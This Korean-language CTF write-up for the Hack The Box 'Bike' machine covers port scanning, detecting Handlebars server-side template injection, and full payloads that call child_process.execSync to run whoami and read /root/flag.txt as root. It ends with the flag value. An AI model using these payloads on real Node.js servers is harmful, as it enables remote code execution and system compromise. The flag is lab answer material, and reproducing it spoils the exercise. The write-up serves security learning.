[STARTING_POINT] Tier1 Bike

Task 1
What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high. nmap이 열려 있다고 식별한 TCP 포트는 무엇인가요? 낮은 포트부터 높은 포트 순으로, 공백 없이 콤마(,)로 구분하여 작성하세요.
┌──(m0nk3ygod㉿m0nk3ygod)-[~]
└─$ sudo nmap 10.129.97.64 -p- -Pn -n --open --min-rate 2000
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-28 22:01 +0900
Nmap scan report for 10.129.97.64
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 33.73 seconds
nmap 포트 스캐닝을 해보니, tcp/22,80 이렇게 2개가 열려있었습니다.
Task 2
What software is running the service listening on the http/web port identified in the first question? 첫 번째 질문에서 확인한 HTTP/웹 포트에서 실행 중인 소프트웨어는 무엇인가요?
이 질문에 답을 하기 위해서는 http(80) 서비스에 대해 정보 수집이 더 필요해보입니다.
┌──(m0nk3ygod㉿m0nk3ygod)-[~]
└─$ sudo nmap 10.129.97.64 -p 80 -sC -sV --min-rate 2000
[sudo] password for m0nk3ygod:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-28 23:31 +0900
Nmap scan report for 10.129.97.64
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
80/tcp open http Node.js (Express middleware)
|_http-title: Bike
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.13 seconds
tcp/80 을 대상으로 스캐닝을 해보니, node.js라는 소프트웨어가 http 서비스에서 돌아가고 있다는 것을 알 수 있습니다.
웹페이지에 접속해보면,

이런 페이지가 나오는데, 입력폼에 임의의 이메일 값을 넣고 SUBMIT으로 제출해보면,

We will contact you at : 이라는 문자와 함께 제가 입력한 이메일을 출력해주는 모습을 볼 수 있습니다.
Task 3
What is the name of the Web Framework according to Wappalyzer? Wappalyzer에 따르면 사용 중인 웹 프레임워크의 이름은 무엇인가요?

Wappalyzer 확장프로그램을 통해 확인을 해보면, Express 라는 웹 프레임워크를 쓰고 있는 것을 알 수 있습니다.
Task 4
What is the name of the vulnerability we test for by submitting {{7*7}}?
{{7*7}}을 제출하여 테스트하는 취약점의 이름은 무엇인가요?
정답은 Server Side Template Injection 입니다. (SSTI)
- SSTI(Server Side Template Injection)
서버에서 사용하는 템플릿 엔진에 사용자 입력이 그대로 들어가서, 템플릿 문법이 실행되는 취약점으로, 사용자가 템플릿 엔진에 맞는 템플릿 문법을 사용하면 서버가 오류를 출력하거나 특정 동작을 수행하게 됩니다.
문제에서 주어진 {{7*7}} 을 입력으로 넣어보면,

아까처럼 사용자 입력을 화면에 출력해주는게 아니라, 서버가 특정 동작을 수행하려다가 오류가 발생한 화면을 출력하게 됩니다.
사용자 입력이 서버 측에 명령으로 전달된다는 의미이며, 공격자가 악용할 수 있습니다.
Task 5
What is the templating engine being used within Node.JS? Node.js에서 사용되고 있는 템플릿 엔진의 이름은 무엇인가요?
오류로그, 또는 사용한 문법을 통해서 템플릿 엔진을 알 수 있습니다.
우선 {{7*7}} 을 사용했을 때 서버가 반응한 것을 보니 다음과 같은 템플릿 엔진을 사용했을 가능성이 높습니다.
- handlebars
- Mustache
- jinja / jinja2
- Twig
오류 로그를 보면 확실히 알 수 있습니다.

오류 로그 확인 결과, 해당 서비스에는 handlebars 템플릿 엔진을 사용하고 있음을 알 수 있습니다.
Task 6
What is the name of the BurpSuite tab used to encode text? Burp Suite에서 텍스트를 인코딩할 때 사용하는 탭의 이름은 무엇인가요?
정답은 Decoder 입니다.

Decoder는 입력한 값을 디코딩 해주는데, 사실 인코딩/디코딩 방향만 다를 뿐 동작을 똑같이 수행하기 때문에 burpsuite에서 텍스트를 인코딩할 때도 Decoder 를 사용합니다.
Task 7
In order to send special characters in our payload in an HTTP request, we’ll encode the payload. What type of encoding do we use? HTTP 요청에서 특수 문자를 전송하기 위해 페이로드를 인코딩해야 합니다. 어떤 인코딩 방식을 사용하나요?
정답은 URL 인코딩 입니다. (Percent-encoding)
- URL 인코딩(URL Encoding / Percent-encoding)
HTTP 요청에서 URL이나 페이로드에 공백이나 특수 문자가 포함될 경우, 서버가 이를 제어 문자나 구조를 구분하는 예약어(&, =, ? 등)로 오인하는 것을 방지하기 위해 안전한 문자 형태로 변환하는 인코딩 방식입니다.
특수 문자를 % 기호와 해당 문자의 ASCII 16진수 값으로 변환하여 전송하게 됩니다. 예를 들어 공백은 %20, 앰퍼샌드(&)는 %26으로 변환됩니다.
이를 통해 사용자 입력에 포함된 특수 문자가 서버로 전달되는 과정에서 구문 충돌을 일으키거나 데이터가 유실되지 않고, 안전하게 원래의 의미대로 전달될 수 있습니다.
Task 8
When we use a payload from HackTricks to try to run system commands, we get an error back. What is “not defined” in the response error? HackTricks의 페이로드를 사용해 시스템 명령 실행을 시도했을 때 에러가 발생합니다. 응답 에러에서 “정의되지 않았다(not defined)“고 나오는 것은 무엇인가요?
HackTricks는 전 세계의 모의해킹 컨설턴트, 보안 연구원, CTF 플레이어들이 취약점 진단 기법과 권한 상승, 쉘 획득 기법 등을 공유하는 오픈 소스 기반의 사이버 보안 위키입니다. 웹 취약점 뿐만 아니라 네트워크, 시스템 해킹 등 거의 모든 보안 분야의 페이로드와 우회 기법을 제공하고 있습니다.
hacktricks 위키에 들어가서 SSTI에 대한 페이로드를 찾아보면,

Handlebars에서 사용할 수 있는 페이로드를 제공하고 있습니다.
해당 페이로드를 URL 인코딩한 값을 request packet에 넣으면 됩니다.

아무런 입력값을 넣고 burpsuite로 잡은 뒤,

인코딩된 페이로드를 넣어보내보면?

“ReferenceError: require is not defined” 라는 문구를 볼 수 있습니다. (require가 정의되지 않았습니다.)
-
페이로드 분석
Task 9
What variable is the name of the top-level scope in Node.JS? Node.js에서 최상위 스코프(top-level scope)의 이름을 가지는 변수는 무엇인가요?
Node.js에서 최상위 스코프의 이름을 가지는 변수는 global 입니다. (최상위 전역 객체)
해당 문서에서 확인 가능합니다.
이전에 확인한 오류는 require함수가 전역 변수가 아니라, 개별 모듈 스코프 내부에서만 유효한 지역변수 이기 때문에 정의를 찾을 수가 없었던 것입니다.
이를 해결 하기 위해서는 Node.js의 전역 객체인 process 함수를 통해서 require 함수를 호출하는 방법을 사용해야합니다.
- https://nodejs.org/api/modules.html#the-module-wrapper
- 해당 문서에서 require 같은 함수를 실행할 때 function 같은 모듈 래퍼 함수로 묶어서 실행되는 것을 확인할 수 있습니다.
- https://nodejs.org/api/process.html
- 해당 문서에서 process 가 어떤 제약 없이 전역으로 사용될 수 있음을 확인할 수 있습니다.
이 process 객체를 실제로 불러올 수 있는지 확인해 봅시다.
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
return porcess 로 바꾸어 보내보면,

정상적으로 동작하는 것을 확인 할 수 있습니다.
다시 process 문서로 돌아가 사용할만한 모듈을 찾아보니, mainModule 이라는 것이 있었습니다. 해당 모듈로 샌드박스 밖의 메인 모듈 참조로 이어질 수 있었고, require를 정상적으로 호출 할 수 있었습니다.
이후 비동기 결과를 내보내는 exec() 가 아닌 execSync() 를 사용해 동기 실행으로 명령 결과가 즉시 반환되어 응답 본문에 나오도록 페이로드를 구성하고 요청을 보내보면?
-
사용한 페이로드
{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return process.mainModule.require('child_process').execSync('whoami')"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}

시스템 명령 whoami가 실행되면서 root가 보이게 됩니다.
Task 10
By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user? 이 취약점을 이용해 명령 실행에 성공하면 웹서버가 실행 중인 사용자 권한으로 실행됩니다. 그 사용자의 이름은 무엇인가요?
정답은 root 입니다.
Submit Flag
Submit root flag
flag는 /root/flag.txt 에서 확인 가능합니다.
-
최종 페이로드
{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return process.mainModule.require('child_process').execSync('cat /root/flag.txt')"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}

Flag : 6b258d726d287462d60c1030d0142a81c
← ALL POSTS